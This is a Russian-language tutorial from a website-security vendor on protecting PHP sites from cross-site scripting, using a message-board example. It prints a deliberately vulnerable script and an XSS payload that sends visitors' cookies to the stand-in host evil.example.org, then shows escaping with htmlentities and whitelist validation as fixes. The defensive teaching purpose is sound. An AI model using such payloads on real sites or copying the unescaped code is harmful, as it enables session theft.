E-mail Пароль
Забыли пароль?
Ardzo.Serenity - защита сайта от вирусов, троянов и внедрений

Как защититься от межсайтового скриптинга (XSS - Cross-Site Scripting)

К списку статей

Большую популярность в среде интернет-мошенников в последнее время имеет так называемый межсайтовый скриптинг (XSS). Уязвимости, которые использует XSS, в особенности, если PHP-скрипт имеет открытый код, подвергают серьезной опасности сайт.

Для проведения успешной XSS-атаки злоумышленники прибегают к таким методам:

- Паразитирование на доверии
Часто люди не обращают должного внимания на то, что браузер обменивается с сайтом куками. Многие даже не подозревают о том, что можно изменять уровни безопасности при просмотре страницы. Злоумышленники могут манипулировать этой информацией в своих целях.

- Искажение данных
Многие программы (такие как почтовые клиенты, месенджеры и др.) используют полученные из интернета внешние данные, которые могут быть изменены и в дальнейшем использованы для взлома.

- PHP-инъекции
Если пользователь не уделяет должного внимания безопасности, он подвергается риску заражения вредоносным кодом, который злоумышленники вписывают в исходный код страницы. При его интерпретации браузером возникают уязвимости.

Для наглядности рассмотрим это на примере сайта объявлений:

< form>
	< input type="text" name="message">< br />
	< input type="submit">
< /form>

< ?php
if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}< br />");
    fclose($fp);
}

readfile('./messages.txt');
?>
Данный скрипт выводит содержимое файла в следующей строке. Но что если злоумышленник добавит сообщение такого типа:
< script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
< /script>
Последующий посетитель этого сайта, который выполнит данный скрипт, будет перенаправлен на evil.example.org, а так же передаст свои куки. Но это не самое страшное, что хакер может сделать с беспечным пользователем.

Но от такого вида атаки несложно защититься, если знать как. Снизить риск XSS-атаки можно использую один из нижеперечисленных способов или комбинируя их.

- Фильтрация полученных данных.
Как мы уже знаем, фильтрование внешних данных защищает от многих видов атак. Если использовать функции htmlspecialchars() и htmlentities для большого количества данных, можно значительно усложнить жизнь хакерам.

- Белый список
Для отсечения вредных данных нужно применять списки допустимых значений для регулярных выражений. Не нужно вводить запрет на определенные данные, лучше просто разрешить вводит только допустимые. На примере это выглядит так: Для того, что бы проверить почту используйте выражение вида /^[0-9a-z\_\.\-]+@([\-a-z0-9]+\.)+[a-z]{2,}$/i, елси будет встречаться отклонение от образца, сразу прекращайте работу скрипта.

- Строгие имена в переменных
Если вы возьмете себе в привычку называть переменные по определенному правилу, при разработке вы избежите ошибок и значительно повысите устойчивость к атакам. Вам будет на много проще разобраться в коде и не пропустить вредоносный код при фильтрации.

Вернемся к нашему сайту объявлений. Если добавить в код htmlentities() скрипт, то HTML-код будет выводиться, как простой текст и не будет выполнен. Выглядеть это будет так:

< form>
	< input type="text" name="message">< br />
	< input type="submit">
< /form>

< ?php

if (isset($_GET['message']))
{
   $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message< br />");
    fclose($fp);
}

readfile('./messages.txt');
?>
Но не стоит недооценивать злоумышленников и ограничиваться только этим видом защиты. Нужно комбинировать все вышесказанное, добиваясь при этом максимальной безопасности.